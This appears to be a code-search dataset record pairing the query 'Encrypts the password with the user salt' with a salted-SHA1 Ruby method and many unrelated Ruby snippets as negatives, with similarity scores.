"def pay_interest_on(account)\n # first interest is calculated and stored to local variable\n interest = calculate_interest(account)\n # if statement used to check if account is overdrawn\n if account.overdrawn?\n # if it is the interest is subtracted\n account.withdraw interest\n @master.deposit interest\n else\n # else the interest is added\n @master.withdraw interest\n account.deposit interest\n end\n end",
"def similarity(user1, user2)\n\t\tif @userdata.has_key? user1.to_s.to_sym and @userdata.has_key? user2.to_s.to_sym\n\n\t\t\tsim_rating = 0\n\t\t\tuser1ratings = @userdata[user1.to_s.to_sym]\n\t\t\tuser2ratings = @userdata[user2.to_s.to_sym]\n\t\t\tuser2ids = []\n\t\t\tuser2ratings.each{ |id, rating| user2ids.push id }\n\t\t\tuser1ratings.each{ |id, rating| sim_rating += 5 - (rating - user2ratings[user2ids.index id][1]).abs if user2ids.include? id}\n\t\t\t\t\treturn sim_rating\n\t\telse\n\t\t\tputs \"User not found\"\n\t\t\treturn nil\n\t\tend\n\tend",
"def cost_per_person\n self.total_cost / @group\n end",
"def calculate_interest(account)\n (account.balance * account.interest_rate).abs\n end",
"def leader_score\n score = 0\n ungrouped_users = []\n users = User.all\n \n users.each do |user|\n ungrouped_users << user if user.groups.empty?\n end\n \n ungrouped_users.each do |ungrouped_user|\n if self.has_compatible_meeting_time_with(ungrouped_user)\n score += (self.number_of_compatible_meeting_times_with(ungrouped_user) * 2) + self.number_of_compatible_time_blocks_with(ungrouped_user.schedule)\n end\n end\n \n score\n end",
"def badge_level_up\n\t return if recipe.ratings.where(user_id: user.id).first.score == 0 \n\t\tbadge_level_up_aux(\"Critic\",\"critic\",\"ratings\")\n\tend",
"def kindergarten_participation_correlates_with_high_school_graduation(comparison)\n if comparison.has_key?(:across)\n subset_of_districs_hs_kinder_across_districts(comparison)\n elsif comparison.has_key?(:for) && comparison[:for] == \"STATEWIDE\" ||\n comparison.has_key?(:for) && comparison[:for] == \"COLORADO\" ||\n statewide_correlation_hs_kinder_across_districts\n elsif comparison.has_key?(:for)\n kinder_part_vs_high_school_grad_correlation_window(comparison)\n end\n end",
"def proficiency_bonus\n\t\t(level()+3)/4 + 1\n\tend",
"def interest\n return (@capital / 100) * @rate\n end",
"def idp_build_user_assertions(user,group)\n hash = {}\n hash[:attributes] = {}\n reseller = Reseller.new\n\n # Populate the session information\n hash[:name_id] = user.uid\n hash[:attributes][:mno_session] = user.sso_session\n hash[:attributes][:mno_session_recheck] = 3.minutes.from_now.utc.iso8601\n\n # Add group metadata\n hash[:attributes][:group_uid] = group.uid\n hash[:attributes][:group_name] = group.name\n hash[:attributes][:group_end_free_trial] = group.free_trial_end_at.utc.iso8601\n hash[:attributes][:group_role] = nil\n hash[:attributes][:group_has_credit_card] = false\n hash[:attributes][:group_email] = \"#{group.uid}@example.com\"\n hash[:attributes][:group_currency] = 'USD'\n hash[:attributes][:group_timezone] = 'America/Los_Angeles'\n hash[:attributes][:group_country] = 'US'\n hash[:attributes][:group_city] = 'Los Angeles'\n hash[:attributes][:group_reseller_id] = reseller.uid\n\n # Add reseller metadata\n if session.delete(:reseller_sso)\n hash[:attributes][:reseller_id] = reseller.uid\n hash[:attributes][:reseller_name] = reseller.name\n hash[:attributes][:reseller_country] = reseller.country\n end\n\n # Add user metadata\n hash[:attributes][:uid] = user.uid\n hash[:attributes][:virtual_uid] = user.virtual_uid(group)\n hash[:attributes][:email] = user.email\n hash[:attributes][:virtual_email] = user.virtual_email(group)\n hash[:attributes][:name] = user.name\n hash[:attributes][:surname] = user.surname\n hash[:attributes][:country] = user.geo_country_code\n hash[:attributes][:company_name] = user.company\n\n # Permissions\n hash[:attributes][:group_role] = (user.role(group) || 'Guest')\n hash[:attributes][:app_owner] = true\n hash[:attributes][:organizations] = {}\n\n # Return the hash\n return hash\n end",
"def kinployment_dissimilar_culture_score\n 1.0 - kinployment_similar_culture_score\n end",
"def best_user\n @group_users.max_by(&:rate)\n end",
"def other_users_accuracy_in_comparison(start_date, end_date, comparison)\n User.select('users.id, users.username, avg(question_responses.correct)').\n joins(:question_responses).\n merge(QuestionResponse.within_dates(start_date, end_date)).\n group('users.id').\n having(\"avg(question_responses.correct) #{comparison} #{accuracy(start_date, end_date).to_s}\")\n end",
"def calc_group\n GROUP_MAPPINGS.keys.each do |group_id|\n # return the details, and include the id for reference\n return group_details(group_id) if self.in_group?(group_id)\n end\n # default: return 'other'\n return group_details('other')\n end",
"def get_match(curr_user)\n political_diff = 0\n chosen_user = nil\n topic_chosen = nil\n data = {}\n curr_user.topics.each do |topic|\n topic.users.each do |user|\n curr_political_diff = (curr_user.political_leaning - user.political_leaning).abs\n if chosen_user.nil? and user.id != curr_user.id\n chosen_user = user\n political_diff = curr_political_diff\n topic_chosen = topic\n elsif curr_political_diff > political_diff and user.id != curr_user.id\n chosen_user = user\n political_diff = curr_political_diff\n topic_chosen = topic\n end\n end\n end\n data[:match] = chosen_user\n data[:topic_chosen] = topic_chosen\n return data\n end",
"def current_interest\n @investment.current_converted_interest / actual_sell_price\n end",
"def calculate_intra_consensus_value\n count=0\n if IntraResidueContact.all(:seq_id => self.seq_id, :first_residue=>self.original_position) || IntraResidueContact.all(:seq_id => self.seq_id, :second_residue=>self.original_position)\n count +=1\n end\n #if !Conseq.first(:aasequence_id => self.AAsequence_id).nil? && Conseq.first(:aasequence_id => self.AAsequence_id).color > 4\n if !Conseq.first(:aasequence_id => self.AAsequence_id).nil? && Conseq.first(:aasequence_id => self.AAsequence_id).score < 0\n count +=1\n end\n if !Xdet.first(:aasequence_id => self.AAsequence_id).nil? && (Xdet.first(:aasequence_id => self.AAsequence_id).correlation > 0.0 || Xdet.first(:aasequence_id => self.AAsequence_id).correlation == -2)\n count +=1\n end\n if !NewCap.first(:seq_id=> self.seq_id, :position_one => self.original_position).nil? || !NewCap.first(:seq_id=> self.seq_id, :position_two => self.original_position).nil?\n count +=1\n end\n self.contact_consensus = count /4\n puts self.contact_consensus\n self.save\n end\n \n def calculate_intra_consensus_value_special\n count=0\n #if !Conseq.first(:aasequence_id => self.AAsequence_id).nil? && Conseq.first(:aasequence_id => self.AAsequence_id).color > 4\n if !Conseq.first(:aasequence_id => self.AAsequence_id).nil? && Conseq.first(:aasequence_id => self.AAsequence_id).score < 0\n count +=1\n end\n if !Xdet.first(:aasequence_id => self.AAsequence_id).nil? && (Xdet.first(:aasequence_id => self.AAsequence_id).correlation > 0.0 || Xdet.first(:aasequence_id => self.AAsequence_id).correlation == -2)\n count +=1\n end\n if !NewCap.first(:seq_id=> self.seq_id, :position_one => self.original_position).nil? || !NewCap.first(:seq_id=> self.seq_id, :position_two => self.original_position).nil?\n count +=1\n end\n self.contact_consensus = count/3\n self.save\n puts self.contact_consensus\n end",
"def change_interest\n user = User.find(params[:id])\n if current_user.interested?(user)\n msg = \"I'm <span>interested</span> in this profile\"\n Interest.delay.delete_all([\"user_id = ? and interestable_id = ? and interestable_type = ?\", current_user.id, user.id, \"User\"])\n NetworkUpdate.removeInterestedUpdate(current_user.id, user.id)\n else\n msg = \"Remove <span>interest</span> in profile\"\n current_user.interest!(user)\n NetworkUpdate.delay.createInterestedUpdate(current_user.id, user.id)\n SneakPeekMailer.delay(:queue => 'mailers').interested_email(current_user, user)\n end\n render :text => msg\n end",
"def rank() User.withVerifiedWeighins.paid.sort_by {|u| u.percentWeightChange }.index(self)+1 end",
"def imc\n\t\tnum = (@peso/(@talla*@talla)).round(2)\n\t\tif num < 18.5\n\t\t\tnum #- Bajo peso\"\n\t\telsif num > 18.5 and num < 24.9\n\t\t\tnum #- Adecuado\"\n\t\telsif num > 25.0 and num < 29.9\n\t\t\tnum #- Sobrepeso\"\n\t\telsif num > 30.0 and num < 34.9\n\t\t\tnum #Obesidad grado 1\"\n\t\telsif num > 35.0 and num < 39.9\n\t\t\tnum #- Obesidad grado 2\"\n\t\telsif num > 40\n\t\t\tnum #- Obesidad grado 2\"\n\t\tend\t\t\t\n\tend",
"def current_user_interests\n current_user.interests\n end",
"def threshold_spy\n return (user_science_level(defender, spy_id) - user_science_level(attacker, spy_id))*0.05+0.5 \n end",
"def relevant_agreements\n # All people including the data steward should be listed in the contributor, if allowed to contribute\n if user_signed_in?\n (_, @relevant_user_agreements) = get_search_results(:q =>filter_relevant_agreement, \n :sort=>sort_field, :rows=>5, :fields=>\"*:*\")\n end\n end",
"def get_user_first_score user\r\n return nil unless self.user_is_done? user\r\n correct = 0\r\n self.problems.each do |p|\r\n (correct = correct + 1) if p.user_did_correct_first?(user)\r\n end\r\n correct\r\n end",
"def annuity_given_present(present_value, interest, term)\n interest = interest.to_f\n (present_value.to_f * ((interest * (1+interest) ** term) / (((1 + interest) ** term) -1))).round(4)\n end",
"def weighted_combined_score\n return 0.0/0.0 if review_committee_score.nil? || interview_committee_score.nil?\n ratio = offering.final_decision_weight_ratio\n r = review_committee_score * ratio\n i = interview_committee_score * (1 - ratio)\n r + i\n end",
"def kinployment_similar_culture_score\n num_common_backgrounds.to_f / @kinployment_backgrounds.length\n end",
"def prefer_matching_users\n if !self.partner || !self.profile\n return;\n end\n users = User.joins(:profile, partner:[:sexualities, :zodiacs, :styles]).where(state: User::STATE_MATCHING, profiles:{sexuality_id: self.partner.sexualities.ids, zodiac_id: self.partner.zodiacs.ids, style_id: self.partner.styles.ids}, sexualities:{id: self.profile.sexuality.id}, zodiacs:{id: self.profile.zodiac.id}, styles:{id: self.profile.style.id})\n result = Array.new\n self_age = age(self.profile.birthday)\n users.each do |user|\n prefer_user_age = age(user.profile.birthday)\n if (self_age >= user.partner.min_age && self_age <= user.partner.max_age && prefer_user_age >= self.partner.min_age && prefer_user_age <= self.partner.max_age)\n result << user\n else\n puts \"age not match, user1: (name: #{self.username}, age: #{self_age}), user2: (name: #{user.username}, age: #{prefer_user_age})\"\n end\n end\n return result\n end",
"def take_ride\n if self.user.height < self.attraction.min_height && self.user.tickets < self.attraction.tickets\n \"Sorry. You do not have enough tickets to ride the #{attraction.name}. You are not tall enough to ride the #{attraction.name}.\"\n elsif self.user.height < self.attraction.min_height\n \"Sorry. You are not tall enough to ride the #{attraction.name}.\"\n elsif self.user.tickets < self.attraction.tickets\n \"Sorry. You do not have enough tickets to ride the #{attraction.name}.\"\n else\n self.user.tickets -= self.attraction.tickets\n self.user.nausea += self.attraction.nausea_rating\n self.user.happiness += self.attraction.happiness_rating\n user.save\n \"Thanks for riding the #{self.attraction.name}!\"\n end\n end",
"def describe_their_ownership\n\t\tif self.forsale\n\t\t\treturn \"is selling a\" \n\t\telsif self.wanted \n\t\t\treturn \"wants to buy a\" \n else \n\t \t\treturn \"owns \" \n\t end \n\tend",
"def goals_against()\n\t self.as_regular_contestants.select{|c| c.opponent.score}.collect{|c| c.opponent.score}.inject{|gf, c| gf + c} || 0\n\tend",
"def select_user_interests\n @interests = Interest.all\n # current user interests\n @user_interests = UserInterest.where(:user_id => current_user.id);\n @cur_u = current_user\n\n end",
"def you_are_owed(current_user_id)\n\n you_are_owed_list = {}\n\n bills = Bill.joins(:bill_splits).joins(:bill_author).where('author_id = ?', current_user_id).where('recipient_paid = false').where('paid = false').includes(:bill_recipients)\n bills.uniq.each do |bill|\n bill.bill_splits.each do |split|\n user = split.recipient.username\n if you_are_owed_list.has_key? user\n temp_amount = you_are_owed_list[user]\n you_are_owed_list[user] = temp_amount + split.split_amount\n else\n you_are_owed_list[user] = split.split_amount\n end\n end\n end\n\n you_are_owed_list\n\n end",
"def calculate_liability\n calculate_gross\n end",
"def winning_team_with_spread\n\t\tif self.final?\n\t\t\treturn home_team_id if home_team_score > away_team_score + point_spread\n\t\t\treturn away_team_id if away_team_score + point_spread > home_team_score\n\t\t\treturn \"tie\" if home_team_score == away_team_score + point_spread\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend",
"def course_user_and_group_in_same_course\n return if group.course == course_user.course\n errors.add(:course_user, :not_enrolled)\n end",
"def determineWinner() \n\n end",
"def score_seminar(seminar, members)\n result = 0.0\n \n #Sum up scores for each member\n for m in members\n value = $scores[seminar][m]\n if value != -1000\n value = (value[0].to_f.abs * $school_bouns[$user_school_number[m]]) + $user_admit[m]\n end\n result = result + value\n end\n \n #Prevents Adjustments from going negative in case all application are not rated\n if result < 0.0\n result = 1.0\n end\n \n #Adjust for number of schools in seminar\n schools = Hash.new()\n for m in members\n schools[$user_school[m]] = \"found\"\n end\n result = result * (1.0 + schools.length/100.0)\n \n #Count up school levels\n num_elm = 0\n num_mid = 0\n num_hs = 0\n for m in members\n \t\tgrades = $grades[m]\n \t\tif grades[0] == 49 or grades[1] == 49 or grades[2] == 49 or grades[3] == 49 or grades[4] == 49 or grades[5] == 49 or grades[6] == 49\n \t\t\tnum_elm += 1\n \t\tend\n \t\tif grades[6] == 49 or grades[7] == 49 or grades[8] == 49\n \t\t\tnum_mid += 1\n \t\tend\n \t\tif grades[9] == 49 or grades[10] == 49 or grades[11] == 49 or grades[12] == 49\n \t\t\tnum_hs += 1\n \t\tend\n \tend\n \t\n \t#School Level Bonuses\n \tif num_elm == $target_elm_teachers_per_seminar\n \t\tresult = result * 1.1\n \telsif (num_elm == $target_elm_teachers_per_seminar + 1) or (num_elm == $target_elm_teachers_per_seminar - 1)\n \t\tresult = result * 1.05\n \tend\n \tif num_mid == $target_mid_teachers_per_seminar\n \t\tresult = result * 1.1\n \telsif (num_mid == $target_mid_teachers_per_seminar + 1) or (num_mid == $target_mid_teachers_per_seminar - 1)\n \t\tresult = result * 1.05\n \tend\n \tif num_hs == $target_hs_teachers_per_seminar\n \t\tresult = result * 1.1\n \telsif (num_hs == $target_hs_teachers_per_seminar + 1) or (num_hs == $target_hs_teachers_per_seminar - 1)\n \t\tresult = result * 1.05\n \tend\n \n \n #Adjust for number of grade levels in seminar\n=begin\n key = \"0000000000000\"\n for m in members\n grades = $grades[m]\n for x in (0..12)\n if grades[x] == 49\n\t\t\tkey[x] = '1'\n end\n end\n end\n num_grades = 0\n for x in (0..12)\n if key[x] == 49\n num_grades += 1\n end\n end\n result = result * (1.0 + num_grades/100.0)\n=end\n \n #Adjust for ratio of new to returning applicants\n new_users = 0\n for m in members\n if new_user?(seminar,m)\n new_users += 1\n end\n end\n target = $target_num_new_users_per_seminar\n if new_users == target\n result *= 1.06\n elsif (new_users == target +1) or (new_users == target -1)\n result *= 1.05\n elsif (new_users == target +2) or (new_users == target -2)\n result *= 1.04\n elsif (new_users == target +3) or (new_users == target -3)\n result *= 1.03\n elsif (new_users == target +4) or (new_users == target -4)\n result *= 1.02\n elsif (new_users == target +5) or (new_users == target -5)\n result *= 1.01\n end\n \n #Adjust for number of members in a seminar where the max is 13\n size = members.length\n if size <= 13\n result = result * (1.1 ** size)\n else\n result = -100000.0\n end\n \n result\nend",
"def author_level(author_x)\n author_trip_stats = author_x.trip_stats\n agg_author_usefuls = 0\n unless author_trip_stats.blank?\n author_trip_stats.each { |trip|\n agg_author_usefuls = agg_author_usefuls + trip.useful \n }\n end\n # case agg_author_usefuls\n if ( agg_author_usefuls <= 25 )\n author_level = \"Rookie\"\n author_level_class = \"level_1_badge\"\n min_useful = 0\n next_level = 26 - agg_author_usefuls\n tooltip_msg = \"#{author_level} becomes an Explorer after getting #{next_level} more useful votes on their trips. Click useful to help this #{author_level} get there.\"\n elsif ( (agg_author_usefuls >= 26) and (agg_author_usefuls <= 100) )\n author_level = \"Explorer\"\n author_level_class = \"level_2_badge\"\n min_useful = 26\n next_level = 101 - agg_author_usefuls\n tooltip_msg = \"#{author_level} will become a Captain after getting #{next_level} more useful votes on their trips. Click useful to help this #{author_level} get there.\"\n elsif ( (agg_author_usefuls >= 101) and (agg_author_usefuls <= 500) )\n author_level = \"Captain\"\n min_useful = 101\n next_level = 501 - agg_author_usefuls\n author_level_class = \"level_3_badge\"\n tooltip_msg = \"#{author_level} becomes a Superstar after getting #{next_level} more useful votes on their trips. Click useful to help this #{author_level} get there.\"\n elsif ( (agg_author_usefuls >= 501) and (agg_author_usefuls <= 1000) )\n author_level = \"Superstar\"\n author_level_class = \"level_4_badge\"\n min_useful = 501\n next_level = 1001 - agg_author_usefuls\n tooltip_msg = \"#{author_level} has #{agg_author_usefuls} useful votes.\"\n # elsif ( agg_author_usefuls > 1001 )\n # author_level = \"Secret Status\"\n # author_level_class = \"level_5_badge\"\n # min_useful = 1001\n # next_level = \"a lot more\"\n # tooltip_msg = \"#{author_level} has #{agg_author_usefuls} useful votes.\"\n else\n author_level = \"Rookie\"\n author_level_class = \"level_1_badge\"\n min_useful = 0\n next_level = 26 - agg_author_usefuls\n tooltip_msg = \"#{author_level} becomes an Explorer after getting #{next_level} more useful votes on their trips. Click useful to help this #{author_level} get there.\"\n end\n return author_level, author_level_class, min_useful, next_level, tooltip_msg\n end",
"def gather_group_end_users_and_keys\n # Group associated with center enduser\n end_user_group = EndUser.where(group_name: @enduser[:group_name])\n\n # Sort all end users by distance \n @endusers_red = end_user_group.within(@red, :origin => @enduser[:address]);\n @endusers_yellow = end_user_group.in_range(@red..@yellow, :origin => @enduser[:address]);\n @endusers_green = end_user_group.beyond(@yellow, :origin => @enduser[:address]);\n \n # Remove @enduser\n @endusers_red = @endusers_red.to_a - [@enduser] \n @endusers_yellow = @endusers_yellow.to_a - [@enduser]\n @endusers_green = @endusers_green.to_a - [@enduser]\t\n \n # Gather keys assigned to these endusers\n @red_keys = get_assigned_keys(@endusers_red)\n @yellow_keys = get_assigned_keys(@endusers_yellow)\n @green_keys = get_assigned_keys(@endusers_green)\n end",
"def total_amount_owed(principal, interest_rate_percentage, number_of_years)\n annual_percentage_rate = interest_rate_percentage / 100\n principal * (1 + annual_percentage_rate * number_of_years)\nend",
"def compound_interest\n\tp \"What is the principal amount?\"#\n\tprincipal = gets.chomp.to_i\n\tp \"What is the rate?\"\n\trate = gets.chomp.to_f\n\tp \"What is the number of years?\"\n\tterm = gets.chomp.to_i\n\tp \"What is the number of time the interest in compounded per year?\"\n\tcompounded = gets.chomp.to_i\n\t\n\tnew_rate = ((rate / compounded)/100) + 1\n\ttotal = principal\n\t(term * compounded).times do\n\t\ttotal = total * new_rate\n\tend\n\t\n\tp \"$#{principal} invested at #{rate}% for #{term} years compounded #{compounded} times per year is #{total.round(2)}\"\n\t\nend",
"def update_score # score is used to display highest matches first in carousel\n @score = ResourcesUser.all # any time factors are changed, update score.\n @score.each do |x| # called any time a user updates their interests.\n unless x.user_has_id == nil # when updating, look at for update/efficiency.\n @user_has = User.find(x.user_has_id)\n @user_wants = User.find(x.user_wants_id)\n if @user_has.location == @user_wants.location # score is weighted based on being in the same city.\n location_weight = 1\n else\n location_weight = 0.75\n end\n x.update_attribute(:score, (@user_has.interests & @user_wants.interests).length*(location_weight/@user_wants.interests.length) *100)\n end\n end\n end",
"def similarity(user_a, user_b)\n av_a, av_b = user_average_rating(user_a), user_average_rating(user_b)\n sum_both, sum_a, sum_b = 0, 0, 0\n\n rating_a = Review.where(user_id: user_a.id)\n\n rating_a.each do |rating_a|\n if rating_b = Review.where(user_id: user_b.id, item_id: rating_a.item_id).first\n sum_a = sum_a + ( (rating_a.rating - av_a)**2 )\n sum_b = sum_b + ( (rating_b.rating - av_b)**2 )\n sum_both = sum_both + ( (rating_a.rating - av_a) * (rating_b.rating - av_b) )\n end\n end\n\n sum_both / ( (Math.sqrt(sum_a)) * (Math.sqrt(sum_b)) )\n end",
"def winning_team\n if homeTeamPoints.sum > awayTeamPoints.sum\n \"Brooklyn Nets\"\n else\n \"Charlotte Hornets\"\n end\nend",
"def calculate_interest(days_since_transaction)\n\t\t@interest << @balance * @apr / 365 * days_since_transaction\n\tend",
"def similarity (user1, user2)\n\t\tuser1= user1.to_s\n\t\tuser2 = user2.to_s\n\t\tuser1_index = @user_rating_index[user1]\n\t\tuser2_index = @user_rating_index[user2]\n\t\ttotal_diff = 0\n\t\tcounter=0\n\n\t\tuser1_index.each_key do |movie|\n\t\t\tif user2_index.has_key? (movie) \n\t\t\t\tdiff = (user1_index[movie].to_i - user2_index[movie].to_i).abs #abs value difference to be summed then divided by total\n\t\t\t\ttotal_diff += diff\n\t\t\t\tcounter+=1\n\t\t\tend\n\t\tend\n\t\tif counter == 0\n\t\t\treturn 5.0\n\t\tend\n\t\treturn (total_diff.to_f/counter) \n\tend",
"def libraryFine(d1, m1, y1, d2, m2, y2)\n fine = 0\n if y1 > y2\n fine = 10000\n elsif y1 == y2 && m1 > m2\n l = m1 - m2\n fine = 500 * l\n elsif y1 == y2 && m1 == m2 && d1 > d2\n l = d1 - d2\n fine = 15 * l\n elsif y1 <= y2 && m1 <= m2 && d1 <= d2\n fine = 0\n end\n fine\nend",
"def get_interest_rank\n \n rank = (self.stories.count * 2) + (self.adding_users.count * 5)\n\n end",
"def rank\n groups = PoliceGroup.all.sort_by(&:grand_total)\n index = groups.index(self) + 1\n place = index / groups.size.to_f\n if place > 0.75\n 'High'\n elsif place > 0.25\n 'Moderate'\n else\n 'Low'\n end\n end",
"def compare_response_to_user_budget(user_id)\n fares_under_budget = []\n convert_strings_to_floats(user_id).each do |fare|\n if fare <= User.find_by_id(user_id).budget\n fares_under_budget << fare\n end\n end\n fares_under_budget\nend",
"def region_comparison\n region_per_cap_daily_average = self.house.address.city.region.avg_daily_electricity_consumed_per_capita\n num_days = self.end_date - self.start_date\n bill_daily_average = self.total_kwhs.fdiv(num_days)\n avg_daily_use_per_resident = bill_daily_average.fdiv(self.no_residents)\n region_per_cap_daily_average > avg_daily_use_per_resident ? res = true : res = false\n res ? self.electricity_saved = ((region_per_cap_daily_average - avg_daily_use_per_resident) * num_days) : self.electricity_saved = 0\n res\n end",
"def calc_im_choice_band(user, target)\n 1.5\n end",
"def matches_drawn(user)\n matches = user.home_matches.find_all_by_ended(true) + user.away_matches.find_all_by_ended(true)\n matches.select { |match| match.homegoals == match.awaygoals }.count\n end",
"def interested_in?(interest)\n self.user_interests.find_by_interest_id(interest)\n end",
"def update_ship_group(group_array, user)\n if ( user == @attacker )\n array = @attacker_level\n else\n array = @defender_level\n end\n if group_array[-2] < 0\n group_array[-2] = 0\n end\n #Falls Einheit\n if (group_array[6])\n hp_one = Unit.find(group_array[0]).shell * @shell_mult * (1 + (0.1 * array[0])).to_i\n damage_one = Unit.find(group_array[0]).damage * @damage_mult * (1 + (0.1 * mult_weapon_level(group_array[3], user))) \n # Falls Anlage \n else\n hp_one = Facility.find(group_array[0]).shell * @shell_mult * (1 + (0.1 * array[0])).to_i\n damage_one = Facility.find(group_array[0]).damage * @damage_mult * (1 + (0.1 * mult_weapon_level(group_array[3], user)))\n end\n if group_array[1] > 0 \n amount_before = group_array[1]\n group_array[1] = (group_array[-2] / hp_one).ceil\n group_array[2] = group_array[1] * damage_one\n group_array[4] = amount_before - group_array[1]\n end \n if group_array[1] < 0\n group_array[1] = 0\n end\n if group_array[-2] < 0\n group_array[-2] = 0\n end\n end",
"def calculate_detail_user ident\n\t\t@user = User.find ident\n\t \t@influence = @user.previous_influence\n\t \t@influences = @user.influences\n\n\t \tdates_values = dates_for_axis(@influences)\n\t \t@dates = dates_label_axis(dates_values)\n\t \t@axis_y_values = axis_values(@influences)\n\t \t@axis_y_labels = axis_labels(@axis_y_values)\n\n\tend",
"def add_interest(rate)\n temp_bal = super\n @balance = temp_bal.round\n puts \"New total in your account is #{money_convert(balance)}\"\n # extract only interest\n interest = balance * (rate/100)\n interest = interest.round\n puts \"Interest accumelated was #{money_convert(interest)}\"\n return interest\n end",
"def match_score_between(e1, e2, users)\r\n # Returns nil if we don't have all the user info necessary to get a score\r\n return nil unless e1.info[self] && e2.info[self]\r\n\r\n e1_value = e1.info[self][0]\r\n e2_value = e2.info[self][0]\r\n\r\n e1_popularity = popularity_for_value(e1_value, users)\r\n e2_popularity = popularity_for_value(e2_value, users)\r\n\r\n # Size score\r\n size_score = if e1_value == e2_value\r\n 1 - e1_popularity\r\n else\r\n 1 - e1_popularity + e2_popularity\r\n end\r\n\r\n # Contrast score\r\n popularity_total = if e1_value == e2_value\r\n e1_popularity\r\n else\r\n e1_popularity + e2_popularity\r\n end\r\n\r\n contrast_score = (e1_popularity - e2_popularity).abs / popularity_total\r\n\r\n # Total score\r\n (size_score + contrast_score).to_f / 2\r\n end",
"def calculate_conditions\n if hand_value(@dealer_hand) > 21\n puts \"\\ndealer busts! You WIN!\"\n @user[:balance] += @wager\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n elsif hand_value(@player_hand) == hand_value(@dealer_hand)\n puts \"\\nHand is a push! You get your money back\"\n elsif hand_value(@player_hand) > hand_value(@dealer_hand)\n puts \"\\nYou Win!\"\n @user[:balance] += @wager\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n elsif hand_value(@player_hand) < hand_value(@dealer_hand)\n puts \"HOUSE WINS. Try again\"\n @user[:balance] -= @wager\n puts \"Your new balance is $#{@user[:balance]}\"\n else\n puts \"Something went wrong\"\n end\n end",
"def age_group(age)\n if age <= 17\n return \"kid\"\n elsif age > 17 && age < 64\n return \"adult\"\n else\n return \"senior\"\n end\nend",
"def calc_amounts(total_amount_required,do_not_commit = nil)\n calc_amounts = nil\n self.total_req_amount = total_amount_required\n @ratios.each do |ratio|\n ratio_num = ratio[:ratio]\n req_amount = ((ratio_num)* total_amount_required).round\n \n if !do_not_commit\n @puc_groups[ratio[:puc_group]][:req_amount] = req_amount\n else\n calc_amounts = Hash.new if !calc_amounts\n calc_amounts.store(ratio[:puc_group],req_amount)\n end\n end\n return calc_amounts\n end",
"def who_is_winner?(users_name, users_hand, dealers_hand, cards_n_values, initial_deal_bool)\n # Set variables to make it easier on the eyes in proceeding decision tree\n users_sum = sum_cards(users_hand, cards_n_values, users_name, initial_deal_bool)\n dealers_sum = sum_cards(dealers_hand, cards_n_values, \"Dealer\", initial_deal_bool)\n\n if users_sum > dealers_sum\n # User wins\n return users_name\n elsif users_sum == dealers_sum\n # Push, no one wins, game over\n return \"push\"\n else\n # Dealer wins\n return \"Dealer\"\n end\n\nend"
] |
[
"0.5962046",
"0.56952775",
"0.5633984",
"0.56206363",
"0.56119096",
"0.5584705",
"0.5573017",
"0.55435",
"0.5539846",
"0.5472207",
"0.5461548",
"0.5433094",
"0.5403409",
"0.5373409",
"0.53219026",
"0.53104526",
"0.5304151",
"0.5299186",
"0.5296356",
"0.5294833",
"0.52849585",
"0.5268514",
"0.52645016",
"0.52591115",
"0.5249983",
"0.5240191",
"0.523834",
"0.52155256",
"0.52099985",
"0.51975805",
"0.5185876",
"0.51828843",
"0.5170747",
"0.5170747",
"0.5165964",
"0.5160321",
"0.5158543",
"0.5149772",
"0.5148732",
"0.51307",
"0.51164764",
"0.51152825",
"0.5109838",
"0.5108351",
"0.50996166",
"0.50949883",
"0.50830436",
"0.50819695",
"0.5074983",
"0.50741124",
"0.5067744",
"0.5065903",
"0.5061463",
"0.5056114",
"0.505101",
"0.50478625",
"0.5044044",
"0.5043501",
"0.5041695",
"0.50379306",
"0.50291705",
"0.50221753",
"0.50207835",
"0.50150675",
"0.5009307",
"0.5000932",
"0.50000864",
"0.49970514",
"0.49960366",
"0.4995489",
"0.49851078",
"0.4983145",
"0.4968223",
"0.49637607",
"0.49569693",
"0.4956386",
"0.49546808",
"0.49465153",
"0.49451292",
"0.49440974",
"0.4942223",
"0.49401608",
"0.49283987",
"0.4925694",
"0.4922361",
"0.49218658",
"0.49203974",
"0.49199584",
"0.4918884",
"0.49187434",
"0.491827",
"0.49182498",
"0.49169657",
"0.4916129",
"0.4915463",
"0.49084538",
"0.49046853",
"0.49030316",
"0.490204",
"0.4901514",
"0.48990205"
] |
0.0
|
-1
|
Encrypts the password with the user salt
|
def encrypt(password)
self.class.encrypt(password, salt)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def encrypt_password\n self.salt = make_salt unless has_password?(password)\n self.encrypted_password = encrypt(password)\n end",
"def encrypt_password\n self.salt = make_salt unless has_password?(password)\n self.encrypted_password = encrypt(password)\n end",
"def encrypt_password\n if self.password.present?\n self.salt = BCrypt::Engine.generate_salt\n self.password = BCrypt::Engine.hash_secret(password, self.salt)\n end\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(password + salt)\n end",
"def encrypt_password\n\t unless @password.blank?\n self.password_salt = salt\n self.encrypted_password = encrypt(@password, salt)\n\t end\n\tend",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt_password()\n if password.present?\n self.salt = BCrypt::Engine.generate_salt\n self.encrypted_password = BCrypt::Engine.hash_secret(password, self.salt)\n end\n end",
"def encrypt(password, salt=nil)\n salt ||= self.salt\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt_password\n self.password_salt = BCrypt::Engine.generate_salt\n self.password_hash = BCrypt::Engine.hash_secret(password, password_salt)\n end",
"def encrypt_password(password)\n self.class.secure_digest([password, password_salt])\n end",
"def encrypt_password\n if password.present?\n self.password_salt = BCrypt::Engine.generate_salt\n self.encrypted_password = BCrypt::Engine.hash_secret(password, password_salt)\n end\n end",
